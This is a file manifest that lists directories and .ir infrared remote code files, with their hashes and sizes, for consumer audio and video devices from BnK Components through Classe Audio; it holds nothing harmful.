-F:08733cb6c7620ce5d42aea3e124b269d:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/59,76.ir -F:631cd93ad59bb0770d36b6f88119e8ea:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/7,143.ir -F:cb67db2871b6debee248bb95fff58030:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/71,139.ir -F:5fd8198423ab99f0dd1d5178f374b739:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/79,11.ir -F:059afc410703e4f44d54b0477b5092fb:5269:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/87,138.ir -F:0e8a0a9b56511ff66e6b693d9173590e:5360:infrared/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/91,74.ir -F:98f306eb8ced756e1718b01d6d74dbfd:118:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,-1.ir -F:8f5d5d994d8b56f3d75fd229c154a742:8145:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/11,79.ir -F:f9c267376c772bab2e7c8daf4c2d2e6d:6156:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/139,71.ir -F:3ef5dc1ff7fd8c9b775dde73f9a43ff9:6075:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/203,67.ir -F:3952012edc6c320d8134300b92c20e3e:27917:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/27,78.ir -F:6db904bc7112c3e5c8884c631ee8b81a:2659:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/5,1.ir -F:365090a80419bdf9a4593d6c1349d8c0:2572:infrared/_CSV-IRDB_/BnK_Components/Pre-Amplifier/6,1.ir -F:f9c267376c772bab2e7c8daf4c2d2e6d:6156:infrared/_CSV-IRDB_/BnK_Components/Receiver/139,71.ir -F:3ef5dc1ff7fd8c9b775dde73f9a43ff9:6075:infrared/_CSV-IRDB_/BnK_Components/Receiver/203,67.ir -F:d51853a05a6160915cf43a7bad54c701:26683:infrared/_CSV-IRDB_/BnK_Components/Receiver/27,78.ir -F:5d9da2e7062e0827943485b55a43367d:6320:infrared/_CSV-IRDB_/BnK_Components/Surround Processor/11,79.ir -F:ad8a751e8d866ce4097faadca10d0743:8488:infrared/_CSV-IRDB_/BnK_Components/Surround Processor/27,78.ir -F:f9c267376c772bab2e7c8daf4c2d2e6d:6156:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/139,71.ir -F:3ef5dc1ff7fd8c9b775dde73f9a43ff9:6075:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/203,67.ir -F:a645661463bdff35aec6405523f6081f:6075:infrared/_CSV-IRDB_/BnK_Components/Theater Preamplifier/27,78.ir -F:5804206325d8e3c6bc022d9a0c542130:3931:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/11,79.ir -F:98e901e79e6c703e94385594fc01557f:3931:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/43,77.ir -F:b5b93a556599eaac3619bc4311d97076:3931:infrared/_CSV-IRDB_/BnK_Components/Theater-Zone 2/75,75.ir -D:infrared/_CSV-IRDB_/Bogen/Amplifier -F:e1a7ded338637321b2fe45f3a89d3588:1824:infrared/_CSV-IRDB_/Bogen/Amplifier/1,-1.ir -D:infrared/_CSV-IRDB_/Bose/3-2-1 -D:infrared/_CSV-IRDB_/Bose/CCF Conversion -D:infrared/_CSV-IRDB_/Bose/Lifestyle -D:infrared/_CSV-IRDB_/Bose/Media Center -D:infrared/_CSV-IRDB_/Bose/Music Center -D:infrared/_CSV-IRDB_/Bose/Receiver -D:infrared/_CSV-IRDB_/Bose/System -D:infrared/_CSV-IRDB_/Bose/Tuner -D:infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO -D:infrared/_CSV-IRDB_/Bose/Unknown_Wave -F:053ec4db128082b3e6db9c09a6daec24:3449:infrared/_CSV-IRDB_/Bose/3-2-1/186,75.ir -F:6b2fde2682fe8f71fa8503983760c22c:2440:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,133.ir -F:51415735700f680269c5f98597b57f84:2629:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,213.ir -F:f2f8243515d6e9f50bcadb949a9fca92:2440:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,229.ir -F:3e3ffd0aa3ed349decb5af9f69682d37:6029:infrared/_CSV-IRDB_/Bose/CCF Conversion/186,85.ir -F:0a615a515798ad1a43fd0caff36d0f4b:3834:infrared/_CSV-IRDB_/Bose/Lifestyle/186,1.ir -F:a9e76e3f2cec24678bfec552035154e5:4758:infrared/_CSV-IRDB_/Bose/Lifestyle/186,136.ir -F:f4848878727f6246895663a069ea9c8e:13286:infrared/_CSV-IRDB_/Bose/Lifestyle/186,160.ir -F:19c677ab599484104471867b3953674d:4361:infrared/_CSV-IRDB_/Bose/Lifestyle/186,161.ir -F:ad2a4585500a64340284ed7b7eb83fb3:4447:infrared/_CSV-IRDB_/Bose/Lifestyle/186,162.ir -F:d8e735926f65b9afc50da69f3d0a8c05:4353:infrared/_CSV-IRDB_/Bose/Lifestyle/186,163.ir -F:a4b6d757b2669244b11ce490109873a6:4361:infrared/_CSV-IRDB_/Bose/Lifestyle/186,164.ir -F:e6a87091bcd94a3bdfcba4b261cc0935:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,165.ir -F:d8c90df0dbb04845f56b25040d755b94:3924:infrared/_CSV-IRDB_/Bose/Lifestyle/186,166.ir -F:500121492a50666b1d147dc7d5266088:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,167.ir -F:3169ef736dff15701425cf0e14078c70:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,168.ir -F:6b99884de34a96b4da1ac3becddfa21e:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,169.ir -F:158fbaa1d19fc3a5f0355d50cd13ec9a:4005:infrared/_CSV-IRDB_/Bose/Lifestyle/186,170.ir -F:b6f2158b5406a7a0161b4e1e5a63d3ff:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,171.ir -F:ac9343dced71d3e64a276d7b6be4c684:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,172.ir -F:f454f9a42bf35b9985509dca8873b429:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,173.ir -F:3da6351bb7d56ccfa1abe3afc5beac9e:3836:infrared/_CSV-IRDB_/Bose/Lifestyle/186,174.ir -F:496a95c020cf3591b5a7b47511b22eed:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,176.ir -F:4f13f457de71f55452a507dcd981a32f:8468:infrared/_CSV-IRDB_/Bose/Lifestyle/186,177.ir -F:22327dc5176124dc4f72b1e36870a2b1:8563:infrared/_CSV-IRDB_/Bose/Lifestyle/186,178.ir -F:e6c39d011fb69d14048a919ed26c15ba:8385:infrared/_CSV-IRDB_/Bose/Lifestyle/186,179.ir -F:d70a4a0cf0c05f66171c405b9c0b715f:8468:infrared/_CSV-IRDB_/Bose/Lifestyle/186,180.ir -F:b3e369f88736c7d280eb48e4a498f899:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,181.ir -F:e9b06dc562226b691225fcb9f203d573:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,182.ir -F:6c24fb66caadd10f71f1cfca318063dd:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,183.ir -F:14a39b355573fe716122c3f5cbaaf900:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,184.ir -F:48adc11e7738e83246a5c30e151758d2:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,185.ir -F:0ec87c47fc8308bfcd35b6dd5a7a89d0:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,186.ir -F:c1f818e0459d62770b0b7121df00d085:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,187.ir -F:7c51ce404b8e0232ac72cc6068bcfbb2:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,188.ir -F:3037fd86ce79f40cd5c638f77fe43137:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,189.ir -F:5868e731decdd28882979571d3327127:6231:infrared/_CSV-IRDB_/Bose/Lifestyle/186,190.ir -F:dc8d80a4d9a05d4ebeebf6c14e40e1dd:5174:infrared/_CSV-IRDB_/Bose/Lifestyle/186,191.ir -F:b607ad476a6ab91dd22f483fb0358653:2162:infrared/_CSV-IRDB_/Bose/Lifestyle/186,85.ir -F:b9d41243b4324babf32cabd48957300b:126:infrared/_CSV-IRDB_/Bose/Media Center/1,-1.ir -F:dd41ef1086be9159391a975243a0af6f:4104:infrared/_CSV-IRDB_/Bose/Media Center/186,136.ir -F:4770afb69b3965e642c657993cb94768:2104:infrared/_CSV-IRDB_/Bose/Music Center/186,133.ir -F:16acf66e0e8121a6cbbac1b0da4ef5c6:3356:infrared/_CSV-IRDB_/Bose/Music Center/186,213.ir -F:1cf46ab9ab5dbf3eacd588db217380dc:2104:infrared/_CSV-IRDB_/Bose/Music Center/186,229.ir -F:eb3c0294089c804ecad934246c9aff52:4043:infrared/_CSV-IRDB_/Bose/Music Center/186,85.ir -F:7817823c73457efcc13e18438d6de097:386:infrared/_CSV-IRDB_/Bose/Receiver/186,160.ir -F:bcc2cf730f622d9ae3f21703f7c9b792:11660:infrared/_CSV-IRDB_/Bose/Receiver/186,75.ir -F:025f79d6f12ba2dbe66e99b66f420bc1:2036:infrared/_CSV-IRDB_/Bose/System/186,85.ir -F:5c8dfb91875cccce36ad1e5f9c07783d:1994:infrared/_CSV-IRDB_/Bose/Tuner/186,85.ir -F:b41ae58c61023a531b54a1ecd1744b2c:1572:infrared/_CSV-IRDB_/Bose/Unknown_WAVERADIO/186,-1.ir -F:24968dcc4e6b6ed951b3e281b22aaa57:2376:infrared/_CSV-IRDB_/Bose/Unknown_Wave/-1,-1.ir -D:infrared/_CSV-IRDB_/Boxlight/Projector -F:a2725061e8fee4457488c686a9b3ae6f:383:infrared/_CSV-IRDB_/Boxlight/Projector/135,78.ir -F:90b3a6ab8fe97db863134494f2030784:1440:infrared/_CSV-IRDB_/Boxlight/Projector/48,-1.ir -F:e51b57a0e8b5cdff6fe07ee9a7a69801:118:infrared/_CSV-IRDB_/Boxlight/Projector/48,206.ir -D:infrared/_CSV-IRDB_/Broksonic/VCR -F:16dbbac0cd3c37ba28ef8c7ac9541565:566:infrared/_CSV-IRDB_/Broksonic/VCR/128,123.ir -D:infrared/_CSV-IRDB_/Busch-Jaeger/Elektro -F:773cc7b8551028654188b94d26c63e6f:1999:infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/29,-1.ir -F:77638cb2e7df235268e7cde20950d359:2341:infrared/_CSV-IRDB_/Busch-Jaeger/Elektro/30,-1.ir -D:infrared/_CSV-IRDB_/Bush/Light -D:infrared/_CSV-IRDB_/Bush/Unknown_4400 -D:infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi -D:infrared/_CSV-IRDB_/Bush/Unknown_WS6680 -F:f989d96ac5788f4617e818e4d81dc604:460:infrared/_CSV-IRDB_/Bush/Light/29,-1.ir -F:e542fcc523c781e67512b49524e6d929:2769:infrared/_CSV-IRDB_/Bush/Unknown_4400/0,-1.ir -F:384d2be0ffb0820cbe95da764fa61cfa:2875:infrared/_CSV-IRDB_/Bush/Unknown_DFTA1xi/8,-1.ir -F:47614d952a828320d3a5c029cd062484:3393:infrared/_CSV-IRDB_/Bush/Unknown_WS6680/0,-1.ir -D:infrared/_CSV-IRDB_/ByDesign/LCD -F:5a19c8e99d7521e2b7a324b6c03e548a:634:infrared/_CSV-IRDB_/ByDesign/LCD/71,-1.ir -D:infrared/_CSV-IRDB_/CAT/Unknown_CS-907 -D:infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122 -D:infrared/_CSV-IRDB_/CAT/Unknown_KF-9816 -F:c436081fc74f347b24f66b0206c919c5:3705:infrared/_CSV-IRDB_/CAT/Unknown_CS-907/0,191.ir -F:0e9766694e13fed32158fcac2ab929a1:3589:infrared/_CSV-IRDB_/CAT/Unknown_DVD-1122/0,-1.ir -F:06e0d10597691eb114e1c795d7ba8cec:4014:infrared/_CSV-IRDB_/CAT/Unknown_KF-9816/0,-1.ir -D:infrared/_CSV-IRDB_/CIS BOX/CD Player -D:infrared/_CSV-IRDB_/CIS BOX/DSS -D:infrared/_CSV-IRDB_/CIS BOX/DVD Changer -D:infrared/_CSV-IRDB_/CIS BOX/DVD Player -D:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL -D:infrared/_CSV-IRDB_/CIS BOX/LCD Projector -D:infrared/_CSV-IRDB_/CIS BOX/Plasma -D:infrared/_CSV-IRDB_/CIS BOX/Receiver -D:infrared/_CSV-IRDB_/CIS BOX/TV -D:infrared/_CSV-IRDB_/CIS BOX/VCR -F:67706fc8200762eef5ef354c6e454897:2962:infrared/_CSV-IRDB_/CIS BOX/CD Player/17,-1.ir -F:2fe52eb59f918b63355de30cccda4123:2347:infrared/_CSV-IRDB_/CIS BOX/DSS/183,-1.ir -F:c505ea0ee05904966775a9ff4c88039f:2706:infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,73.ir -F:404837ea84fc6114ecaf9c2c80657d39:225:infrared/_CSV-IRDB_/CIS BOX/DVD Changer/26,98.ir -F:2d74ff3e05cfefc9a8e0c7365b4a46be:3448:infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,122.ir -F:bb5de9edbcb9db0fccf70e0c3a94d680:201:infrared/_CSV-IRDB_/CIS BOX/DVD Player/26,73.ir -F:dd16179bdc3ee56f4ef51f48271de2d5:1177:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/1,-1.ir -F:7c179a0aacd72ad1d5514c658f88a909:563:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/151,-1.ir -F:8413036ef8d425e2db955042c213d556:998:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/164,-1.ir -F:59a5b409f376ce5826275525ebe67c01:1025:infrared/_CSV-IRDB_/CIS BOX/HDTV ALL/26,26.ir -F:4c02959ba93c1eb7359f9214e78d5962:1375:infrared/_CSV-IRDB_/CIS BOX/LCD Projector/84,-1.ir -F:b1077645c5126f2f1881e5ed49896707:2143:infrared/_CSV-IRDB_/CIS BOX/Plasma/1,-1.ir -F:5c013e05af4167d7e54a859b504e8dbf:471:infrared/_CSV-IRDB_/CIS BOX/Plasma/119,-1.ir -F:ceb833b78e04a577008f12054381a33d:297:infrared/_CSV-IRDB_/CIS BOX/Plasma/164,-1.ir -F:0a20811c1ce8b7595415a56091a652bc:2201:infrared/_CSV-IRDB_/CIS BOX/Receiver/121,-1.ir -F:248173262bedeb932e4d4402cc99d917:127:infrared/_CSV-IRDB_/CIS BOX/Receiver/144,-1.ir -F:cabe0a5af2ecd7534a8f23d41b89600b:2581:infrared/_CSV-IRDB_/CIS BOX/Receiver/16,-1.ir -F:5b12ac512fc53b06ffd76879ba4d94aa:1152:infrared/_CSV-IRDB_/CIS BOX/Receiver/25,107.ir -F:2378c374baab9a420be7315ff746e38b:379:infrared/_CSV-IRDB_/CIS BOX/Receiver/25,11.ir -F:2b48618ef3c5d5b9d3b0251261768fd9:215:infrared/_CSV-IRDB_/CIS BOX/Receiver/48,-1.ir -F:c528c56d3fcea3c456a061f6747f4536:219:infrared/_CSV-IRDB_/CIS BOX/Receiver/7,-1.ir -F:4da1c2d05c572a845a2e88021bc8d8f7:1329:infrared/_CSV-IRDB_/CIS BOX/TV/1,-1.ir -F:4177180a76d4699ccb334fb781c080d7:302:infrared/_CSV-IRDB_/CIS BOX/TV/164,-1.ir -F:042b074ea8da8b38db5653063e61292f:1037:infrared/_CSV-IRDB_/CIS BOX/TV/26,26.ir -F:82a695cfb84e48bb71135c9bfb6c1112:404:infrared/_CSV-IRDB_/CIS BOX/TV/84,-1.ir -F:5c24f4bf0b102020bbb94aa2204f487b:1798:infrared/_CSV-IRDB_/CIS BOX/VCR/2,-1.ir -D:infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL -F:0deec41e8897ed7db049527261aba3a6:2229:infrared/_CSV-IRDB_/COSMEL/Unknown_COSMEL/2,-1.ir -D:infrared/_CSV-IRDB_/Cables to Go/VGA Switcher -F:ac0353c4e9a4ab7a3cae8390430c24f8:559:infrared/_CSV-IRDB_/Cables to Go/VGA Switcher/0,191.ir -D:infrared/_CSV-IRDB_/Calrad/Video Switcher -F:0d922fafe88cd71601876f2bfa26aa67:781:infrared/_CSV-IRDB_/Calrad/Video Switcher/4,-1.ir -D:infrared/_CSV-IRDB_/Calypso/Amplifier -D:infrared/_CSV-IRDB_/Calypso/Control System -F:b278fe5028a4bbfe6aeaffe2c006bf8f:1151:infrared/_CSV-IRDB_/Calypso/Amplifier/17,-1.ir -F:ce9696abbd675e811c3d8833bacd2894:4213:infrared/_CSV-IRDB_/Calypso/Control System/1,-1.ir -F:0a1d9e1bae913bf5703c5f2efb10a294:4213:infrared/_CSV-IRDB_/Calypso/Control System/17,-1.ir -F:625f463508b2881b9fb6fc1c44380919:2734:infrared/_CSV-IRDB_/Calypso/Control System/7,-1.ir -D:infrared/_CSV-IRDB_/Cambridge Audio/DVD Player -D:infrared/_CSV-IRDB_/Cambridge Audio/Receiver -D:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio -D:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A -F:718927e6f88ffc7c465e17763a210d4d:4085:infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/12,-1.ir -F:644b1fa6f1c7a14e1b0025e6512b8ce7:4082:infrared/_CSV-IRDB_/Cambridge Audio/DVD Player/7,-1.ir -F:265054f5b4ebaf73425804e8146b0f70:6314:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/16,-1.ir -F:4e102c794ccd13dca22c18752fe23359:1163:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/19,-1.ir -F:fcf196f715f771edb542ad71dc2927ca:3146:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,192.ir -F:724db451a7933aec0c9a011f700d6459:1763:infrared/_CSV-IRDB_/Cambridge Audio/Receiver/192,63.ir -F:0dffed9053f3ef9c124388a45d675bb2:3176:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_Audio/192,192.ir -F:bc7b03f62141ad1fcc64479820c9b76b:1741:infrared/_CSV-IRDB_/Cambridge Audio/Unknown_X40A/16,-1.ir -D:infrared/_CSV-IRDB_/Camera/Camera Multi Plex -F:5af0b0fdd6f9f83378d6e9adc21bd4ca:2064:infrared/_CSV-IRDB_/Camera/Camera Multi Plex/133,115.ir -D:infrared/_CSV-IRDB_/Canalsat/Satellite -D:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat -D:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD -F:e2b507098ca2f64976f9ee871abca436:2585:infrared/_CSV-IRDB_/Canalsat/Satellite/10,-1.ir -F:44bfc9b043db1f49d1c2f14f02fa800c:2656:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSat/10,-1.ir -F:ee4fbd25259a8dd4a40da58f256e60d7:3996:infrared/_CSV-IRDB_/Canalsat/Unknown_CanalSatHD/10,-1.ir -D:infrared/_CSV-IRDB_/Canon/Unknown_CAM -D:infrared/_CSV-IRDB_/Canon/Unknown_WL-D77 -D:infrared/_CSV-IRDB_/Canon/Unknown_WL-D80 -D:infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100 -D:infrared/_CSV-IRDB_/Canon/Unknown_WL-V1 -D:infrared/_CSV-IRDB_/Canon/Unknown_canon -D:infrared/_CSV-IRDB_/Canon/Video Projector -F:6d3c3be43d92c6712e359fa76738334b:1031:infrared/_CSV-IRDB_/Canon/Unknown_CAM/133,118.ir -F:ea07fc2b87b1e0f545918dcfde543d99:3175:infrared/_CSV-IRDB_/Canon/Unknown_WL-D77/133,118.ir -F:77a623e7c3552d219202e8bcf693a49d:2596:infrared/_CSV-IRDB_/Canon/Unknown_WL-D80/133,118.ir -F:c06f78780587267eaf4278ad8c795bc8:746:infrared/_CSV-IRDB_/Canon/Unknown_WL-DC100/202,177.ir -F:d2ad0a96821ae29117bade4c35ac3510:1739:infrared/_CSV-IRDB_/Canon/Unknown_WL-V1/129,6.ir -F:5a7468837fbce18f73f15721bd80ea7f:2733:infrared/_CSV-IRDB_/Canon/Unknown_canon/133,118.ir -F:b48bc3975a5b793b29aa3c44f39e7233:2262:infrared/_CSV-IRDB_/Canon/Video Projector/129,6.ir -D:infrared/_CSV-IRDB_/Captain/Unknown_7100usb -F:556ea8de509ee3f1a22e6d0371fafe37:1541:infrared/_CSV-IRDB_/Captain/Unknown_7100usb/4,250.ir -D:infrared/_CSV-IRDB_/Carver/Amplifier -D:infrared/_CSV-IRDB_/Carver/CD Player -D:infrared/_CSV-IRDB_/Carver/Cassette Tape -D:infrared/_CSV-IRDB_/Carver/Laser Disc -D:infrared/_CSV-IRDB_/Carver/Pre-Amplifier -D:infrared/_CSV-IRDB_/Carver/Receiver -D:infrared/_CSV-IRDB_/Carver/Tuner -F:d6b63d5cd5b28601c113e6495ac4dfc8:2919:infrared/_CSV-IRDB_/Carver/Amplifier/135,123.ir -F:3ddfbdcbe2e79fca784f31a1b2a43b2d:5193:infrared/_CSV-IRDB_/Carver/CD Player/135,123.ir -F:cbdf6607964c82ca65c35f7d449499a2:2252:infrared/_CSV-IRDB_/Carver/CD Player/20,-1.ir -F:af76d110b4d6958f8d731795ef01e555:2085:infrared/_CSV-IRDB_/Carver/CD Player/42,-1.ir -F:ddedb3439c498fc8c1dbb530303a7cc4:3043:infrared/_CSV-IRDB_/Carver/CD Player/60,-1.ir -F:9629998b3ba3498fb19b6c508cf21e0a:3184:infrared/_CSV-IRDB_/Carver/CD Player/68,-1.ir -F:508dd95a3a0848ec69931eb9db40d2d4:1934:infrared/_CSV-IRDB_/Carver/CD Player/99,0.ir -F:256834cf8f83b19eaeecce4b1f94de8b:742:infrared/_CSV-IRDB_/Carver/Cassette Tape/130,111.ir -F:1f331eb2cab36a529459ee0a60741e7c:558:infrared/_CSV-IRDB_/Carver/Cassette Tape/135,126.ir -F:2badc3c50f13e22a249cd7c0e8c7211b:964:infrared/_CSV-IRDB_/Carver/Cassette Tape/18,-1.ir -F:10d9172f063b1c738945ea39c39cb44e:374:infrared/_CSV-IRDB_/Carver/Laser Disc/102,0.ir -F:a561f4a168690e2254f550c533d5b66a:127:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/0,-1.ir -F:0bf6ce4aee2c958153fd7f137f798958:121:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/12,-1.ir -F:042567a94325f296537a8fbf46c11d6b:1184:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/135,123.ir -F:54a6fabdd5faaece5bdc5e3e6e9c38d8:561:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/16,-1.ir -F:509e3f2db95f32368b87d77967b0fb52:123:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/17,-1.ir -F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/20,-1.ir -F:eafd65f805ce3cf96384b2add12ddd08:123:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/21,-1.ir -F:f25af5da3de2c3df6581a68edfa37579:134:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/23,-1.ir -F:2939424165efefca064ad6e0d6e7b831:121:infrared/_CSV-IRDB_/Carver/Pre-Amplifier/5,-1.ir -F:b791fb882ef76650cd1db11e831a1ab5:125:infrared/_CSV-IRDB_/Carver/Receiver/0,-1.ir -F:d58058fe8259eef9aae67d0143289a64:214:infrared/_CSV-IRDB_/Carver/Receiver/12,-1.ir -F:6b0e8057399e442119ad33b69dfc0a21:3283:infrared/_CSV-IRDB_/Carver/Receiver/135,123.ir -F:0609b9385c9156cd34ffc00731052f6b:208:infrared/_CSV-IRDB_/Carver/Receiver/16,-1.ir -F:6d428b780138ffcfd3865be61adab63b:214:infrared/_CSV-IRDB_/Carver/Receiver/17,-1.ir -F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Carver/Receiver/20,-1.ir -F:c5711b05084bc8581d043070b7d33854:749:infrared/_CSV-IRDB_/Carver/Receiver/5,-1.ir -F:2bc7b2ad0c916c9d1386037996464029:2758:infrared/_CSV-IRDB_/Carver/Tuner/135,123.ir -F:0609b9385c9156cd34ffc00731052f6b:208:infrared/_CSV-IRDB_/Carver/Tuner/16,-1.ir -F:6d428b780138ffcfd3865be61adab63b:214:infrared/_CSV-IRDB_/Carver/Tuner/17,-1.ir -F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Carver/Tuner/20,-1.ir -D:infrared/_CSV-IRDB_/Cary Audio Design/CD Player -D:infrared/_CSV-IRDB_/Cary Audio Design/DVD Player -D:infrared/_CSV-IRDB_/Cary Audio Design/Receiver -F:f608bd72682b97e305c4a5ec7f451142:3143:infrared/_CSV-IRDB_/Cary Audio Design/CD Player/4,-1.ir -F:3f9d74536f47235abaed67a0695ec2ff:3045:infrared/_CSV-IRDB_/Cary Audio Design/DVD Player/23,-1.ir -F:e242689c0ad16526eede09986b0bc97b:3404:infrared/_CSV-IRDB_/Cary Audio Design/Receiver/19,-1.ir -D:infrared/_CSV-IRDB_/Casio/Unknown_CMD-40 -F:2cd432422993ca855542cf6a4abd6515:1454:infrared/_CSV-IRDB_/Casio/Unknown_CMD-40/170,-1.ir -D:infrared/_CSV-IRDB_/Cce/Unknown_RC-27 -D:infrared/_CSV-IRDB_/Cce/Unknown_RC-28b -D:infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE -D:infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE -F:dc4481d50808927062b224c2f3d0470c:2150:infrared/_CSV-IRDB_/Cce/Unknown_RC-27/0,-1.ir -F:2d84b5ddc4162ec5efc6939ab305b8aa:2321:infrared/_CSV-IRDB_/Cce/Unknown_RC-28b/0,-1.ir -F:9730098c91e175ee164b9089ebf77b87:2607:infrared/_CSV-IRDB_/Cce/Unknown_TV-CCE/4,-1.ir -F:8043a5b67c1d552cc7ad7bdc0b28c982:3179:infrared/_CSV-IRDB_/Cce/Unknown_VCR-CCE/21,-1.ir -D:infrared/_CSV-IRDB_/Celadon/IR to RS232 -F:00442a66dfce4a3957b184378cd61fd6:983:infrared/_CSV-IRDB_/Celadon/IR to RS232/123,2.ir -D:infrared/_CSV-IRDB_/Centrum/Unknown_Gemini -D:infrared/_CSV-IRDB_/Centrum/Unknown_rc5 -F:63643d8b053048f2e0c0b1747c6149f1:3327:infrared/_CSV-IRDB_/Centrum/Unknown_Gemini/29,-1.ir -F:b7b43f94ae691d8cd299514f7859b1d3:3404:infrared/_CSV-IRDB_/Centrum/Unknown_rc5/29,-1.ir -D:infrared/_CSV-IRDB_/Century Concept/Unknown_dvd -F:1489d4b284a9fb978e2cdff950f1c976:1557:infrared/_CSV-IRDB_/Century Concept/Unknown_dvd/0,246.ir -D:infrared/_CSV-IRDB_/Channel Master/Satellite -F:bcbb49de8e7002ac37b03a7b04343c2d:2764:infrared/_CSV-IRDB_/Channel Master/Satellite/132,99.ir -D:infrared/_CSV-IRDB_/Channel Plus/Video Switcher -F:db938badb10bf7f497bab0f30cff01ca:497:infrared/_CSV-IRDB_/Channel Plus/Video Switcher/49,235.ir -D:infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1 -F:396145c4a0908a3a3042aaa0701be22f:2441:infrared/_CSV-IRDB_/Chaparral/Unknown_11-5315-1/128,103.ir -D:infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift -F:6388710fe4cc4e6b6cccfcca3c164b70:641:infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/130,19.ir -F:f3b06e12ea75d7a45244c7e0b8756cf1:1014:infrared/_CSV-IRDB_/Chief Manufacturing/Motorized Lift/48,-1.ir -D:infrared/_CSV-IRDB_/Cinemateq/DVD Player -D:infrared/_CSV-IRDB_/Cinemateq/Video Scaler -F:88587551481cb4aa3e5008d766025908:3400:infrared/_CSV-IRDB_/Cinemateq/DVD Player/26,0.ir -F:4a18884d1e3052a557190f371f0dd109:3193:infrared/_CSV-IRDB_/Cinemateq/Video Scaler/27,1.ir -D:infrared/_CSV-IRDB_/Cisco/DVR -F:a409b5e183bb1b8e7c7a416f785073bc:1844:infrared/_CSV-IRDB_/Cisco/DVR/35,64.ir -D:infrared/_CSV-IRDB_/Citation/Surround Processor -F:58083a2786f2bf8b9ec6ae60d9db4689:3469:infrared/_CSV-IRDB_/Citation/Surround Processor/132,66.ir -D:infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C -F:82c7e490ee10ecd52e854c54efec8d68:4116:infrared/_CSV-IRDB_/Citizen/Unknown_JX-2022C/0,-1.ir -D:infrared/_CSV-IRDB_/Classe Audio/Amplifier -D:infrared/_CSV-IRDB_/Classe Audio/CD Player -D:infrared/_CSV-IRDB_/Classe Audio/CRCD -D:infrared/_CSV-IRDB_/Classe Audio/DVD Player -D:infrared/_CSV-IRDB_/Classe Audio/Integrated Amplifier -D:infrared/_CSV-IRDB_/Classe Audio/Pre-Amplifier -D:infrared/_CSV-IRDB_/Classe Audio/SACD -D:infrared/_CSV-IRDB_/Classe Audio/Surround Processor -D:infrared/_CSV-IRDB_/Classe Audio/Surround Sound -D:infrared/_CSV-IRDB_/Classe Audio/Tuner -F:8336fda1de3ade917a1b9c6c4b93bc6f:4349:infrared/_CSV-IRDB_/Classe Audio/Amplifier/201,-1.ir -F:301aca28414937159498187cfda2f7dd:1439:infrared/_CSV-IRDB_/Classe Audio/Amplifier/3,-1.ir 